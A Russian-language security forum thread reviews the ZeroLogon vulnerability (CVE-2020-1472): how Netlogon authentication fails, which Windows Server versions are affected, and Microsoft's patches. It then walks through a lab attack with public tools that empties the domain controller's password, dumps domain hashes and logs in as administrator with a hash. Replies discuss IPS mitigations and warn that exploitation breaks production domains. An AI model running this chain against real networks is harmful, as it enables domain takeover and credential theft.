Статья Обзор уязвимости CVE-2020-1472 и эксплоита “ZeroLogon”

Всем привет!

В августе Microsoft выпустили обновление устраняющее уязвимость CVE-2020-1472. Эта уязвимость позволяет захватить контроллер домена.
Предлагаю немного углубиться в эту тему, разобраться в причинах и рисках, связанных с этой уязвимостью, и рассмотреть существующие эксплоиты.

1601987127804.png


В чем суть уязвимости ZeroLogon?
По большому счету, уязвимость CVE-2020-1472 заключается в несовершенстве схемы криптографической аутентификации Netlogon Remote Protocol. Этот протокол используется для аутентификации пользователей и машин в сетях, построенных на базе домена. В частности, Netlogon служит и для удаленного обновления паролей компьютеров. Уязвимость позволяет злоумышленнику выдать себя за компьютер-клиент и заменить пароль контроллера домена (сервера, контролирующего всю сеть, в том числе запускающего службы Active Directory). В результате атакующий может получить права администратора домена.

Кто уязвим?
Уязвимость CVE-2020-1472 актуальна для компаний, сети которых построены на базе контроллеров доменов под управлением операционных систем Windows.

В частности, злоумышленники могут захватить контроллер домена на базе:
  • всех версий Windows Server 2019, Windows Server 2016;
  • всех вариантов Windows Server версии 1909;
  • Windows Server версии 1903;
  • Windows Server версии 1809 (Datacenter, Standard);
  • Windows Server 2012 R2;
  • Windows Server 2012;
  • Windows Server 2008 R2 Service Pack 1.
Правда, для успешной атаки злоумышленникам сначала необходимо проникнуть в корпоративную сеть, но это не такая большая проблема — мы уже неоднократно слышали и об инсайдерских атаках, и о проникновениях через забытые сетевые розетки в общедоступных помещениях.

Как защититься от атак с использованием ZeroLogon?
Компания Microsoft , закрывающие эту уязвимость для всех затронутых систем. Они доступны с начала августа этого года, так что если вы еще не обновились, то лучше поспешить. Кроме того, компания рекомендует отслеживать все попытки логина по уязвимой версии протокола и выявлять устройства, которые не поддерживают новую версию. В идеале эксперты Microsoft считают необходимым перевести контроллер домена в режим, в котором все устройства должны использовать безопасный вариант протокола Netlogon.

Обновления не делают этого в принудительном порядке, потому что Netlogon Remote Protocol используется не только в Windows, — есть множество устройств на базе других ОС, которые также полагаются на этот протокол. И далеко не все из них поддерживают его защищенный вариант. Если сделать использование безопасной версии обязательным, эти устройства не смогут корректно работать.

Тем не менее, 9 февраля 2021 года контроллеры доменов переведут в этот режим в обязательном порядке, так что администраторам придется как-то решать проблему со сторонними устройствами до этой даты — обновлять или вручную прописывать в исключение. Подробнее о том, что делает августовский патч и что изменится после февральского, можно найти в наряду с подробными гайдлайнами.

Информация об уязвимости взята отсюда:

Эксплуатация уязвимости ZeroLogon
Для демонстрации я подготовил стенд, на который установил Windows 2019 и Kali 2020.2.
На Windows 2019 настроен домен, последние патчи не устанавливались.
Kali2020.2 тоже в том виде, в котором её распространяют (т.е. без актуальных обновлений на момент публикации темы).

Hostname
Domain
IP
OS
DCBearsec.loc172.16.0.26Windows Server 2019
Kali-172.16.0.27Kali Linux 2020.2

Все команды на Kali выполнялись от root, если вы работаете от пользователя kali - не забывайте про sudo!

Подготовка Kali2020.2

На Kali2020.2 нам нужно удалить старый Impacket, делаем это командой:
Bash:
apt remove --purge impacket-scripts python3-impacket

1601986627096.png


Далее устанавливаем pip3:
Bash:
apt-get update
apt-get install python3-pip
После этого копируем с github последний Impacket и устанавливаем необходимые библиотеки:
Bash:
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/
pip install .
Теперь мы можем выйти из каталога Impacket и скопировать с github эксплоит zerologon:
Bash:
cd ..
git clone https://github.com/risksense/zerologon.git
cd zerologon/
После этого мы можем приступать к атаке на контроллер домена.

Атакуем контроллер домена

Первым делом сбрасывается пароль контролера домена:
Bash:
python3 set_empty_pw.py DC_NETBIOS_NAME DC_IP_ADDR

1601986201747.png


Если скрипт отработал правильно и мы получили уведомление об успехе, выполняем команду для получения хешей с контролера домена:
Bash:
python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC_NETBIOS_NAME$@dc_ip_addr'
1601986362098.png

Скрипт начнет выводить список хешей. Нас интересует хеш от учетной записи Administrator. Копируем его (между двоеточиями) и пытаемся подключится к контроллеру домена:
Bash:
wmiexec.py bearsec/administrator@172.16.0.26 -hashes <hash>
Кстати, подключиться, используя хеш, можно не только с помощью wmiexec.py (ещё на ум приходит WinRM или psexec)

1601986298189.png


Всё, у нас есть доступ к контроллеру домена и учетной записи администратора домена.
Дальше полет нашей фантазии уже ничем не ограничивается!

Видео с демонстрацией применения эксплоита (всё то же самое, что по тексту выше, но в формате видео и с фоновой музыкой)

Спасибо за внимание!
 

Вложения

  • 1601986283384.png
    1601986283384.png
    32,5 КБ · Просмотры: 311
Последнее редактирование:

ROP

Red Team
27.08.2019
327
664
BIT
165
Спасибо за обзор новой уязвимости Windows, Bearsec.
Даже видео записали :)
Интересно, сколько компаний загрузили патчи и исправили уязвимость в своих системах. Думаю, что это число не очень большое. А уязвимость то опасная!
 
  • Нравится
Реакции: BearSec

BearSec

Platinum
20.04.2020
210
290
BIT
28
Спасибо за обзор новой уязвимости Windows, Bearsec.
Даже видео записали :)
Интересно, сколько компаний загрузили патчи и исправили уязвимость в своих системах. Думаю, что это число не очень большое. А уязвимость то опасная!
Хотелось бы верить, что уязвимости с оценкой CVSS 10.0 привлекают к себе много внимания и их будут все быстро патчить.
Но увы, мне кажется даже непатченные MS17-010 EthernalBlue ещё можно отыскать в больших корпоротивных сетях. Вряд-ли это будет в продакшн среде, но на задворках сети вполне могут быть)))
 
  • Нравится
Реакции: ROP

Vertigo

Lex mea est Vulgate Linux
Gold Team
15.02.2017
1 318
3 999
BIT
3
Тоже хотел запоститть такую тему,но ты меня опередил.
Статья получилась крутой и насущной,Спасибо.
Проблема до сих пор актуальна к сожалению и название красивое уязвимости.
Тема раскрыта,не хватает только мер защиты,а так всё на 5 баллов.
 
  • Нравится
Реакции: dominikanec, ROP и BearSec

BearSec

Platinum
20.04.2020
210
290
BIT
28
Тоже хотел запоститть такую тему,но ты меня опередил.
Статья получилась крутой и насущной,Спасибо.
Проблема до сих пор актуальна к сожалению и название красивое уязвимости.
Тема раскрыта,не хватает только мер защиты,а так всё на 5 баллов.
Спасибо за отзыв! Сам 2 недели ходил и обдумывал идею сделать пост.

Из мер защиты я не нашёл ничего кроме установки патчей от Microsoft и настройки IPS систем
Еще слышал про для Windows Server 2008R
 
  • Нравится
Реакции: Vertigo

Vertigo

Lex mea est Vulgate Linux
Gold Team
15.02.2017
1 318
3 999
BIT
3
Спасибо за отзыв! Сам 2 недели ходил и обдумывал идею сделать пост.

Из мер защиты я не нашёл ничего кроме установки патчей от Microsoft и настройки IPS систем
Еще слышал про для Windows Server 2008R
Там временные меры защиты .)))
0-day практически ,т.к. 100% защиты нет))
 

neonh4ze

Active member
07.06.2018
34
162
BIT
2
Прикольно, но было бы еще круче показать, как можно засплоитить уязу, не обрушивая к чертям всю инфру. Интересный вектор через всеми любимый Printer Bug Dirk-jan. Да, и на твоем бы месте я добавил гигантских размеров дисклеймер, орущий, что эксплуатация в функционирующей среде гарантированно ее положит.
P. S. Оригинальный Impacket можно не удалять, а заюзать, например, pipenv, чтобы подтянуть виртуальное окружение для Bleeding-edge версии:
Bash:
$ python3 -m pip install pipenv
$ git clone https://github.com/SecureAuthCorp/impacket && cd impacket
$ pipenv install -r requirements.txt
$ pipenv shell
(impacket) $ pip install .
(impacket) $ ./examples/psexec.py
 
  • Нравится
Реакции: Dmitry888 и BearSec

Dmitry888

One Level
02.12.2020
4
2
BIT
0
С защитными мерами - беда. Ставить патчи нужно. Но вот проблема у кого дс 2008. Кто-нибудь неофициальный патч ставил ? Я бы на проде не рискнул.
 

Dmitry888

One Level
02.12.2020
4
2
BIT
0
С защитными мерами - беда. Ставить патчи нужно. Но вот проблема у кого дс 2008. Кто-нибудь неофициальный патч ставил ? Я бы на проде не рискнул.
За неимением патчей прикрутил IPS фильтры, которые просто по сигнатуре атаки дропают сессию. Как защитная мера сгодится. А вообще просто надо на актуальную версию винды переводить инфраструктуру и не морочить голову.
 
  • Нравится
Реакции: BearSec

a1ext

Red Team
03.12.2019
5
1
BIT
1
P. S. Оригинальный Impacket можно не удалять, а заюзать, например, pipenv, чтобы подтянуть виртуальное окружение для Bleeding-edge версии:
Согласен, ломать всё остальное в кали ради того. чтоб заработала одна тулза - такое себе. pipenv, venv - самое то
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!